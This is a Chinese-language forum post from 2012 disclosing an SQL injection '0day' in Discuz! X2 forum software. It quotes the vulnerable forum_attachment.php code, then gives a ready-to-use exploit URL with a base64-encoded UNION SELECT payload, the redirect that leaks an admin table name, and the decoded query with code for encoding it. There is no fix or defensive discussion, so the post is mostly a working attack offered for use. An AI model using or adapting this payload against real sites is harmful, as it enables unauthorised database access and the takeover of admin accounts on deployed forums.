Discuz! X2 SQL注射漏洞 0day

fengling132發表於2012-05-02
@Discuz! X2 SQL注射漏洞 0day
 檔案:source\module\forum\forum_attachment.php
 
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|',
 
base64_decode($_G['gp_aid']));
 
if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table
 
('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach
 
['tid']);
}
 
變數aid 直接base64_decode 後傳入 SQL查詢,造成注射漏洞。。。
 
 http://www.xxxx.net/forum.php?
 
mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tI
 
ElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FI
 
Gxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
轉向後網址
 http://www.xxxx.net/forum.php?
 
mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
 
暴出表名 pre_common_admincp_member
 
實際查詢為:
 
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where
 
TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));

相關文章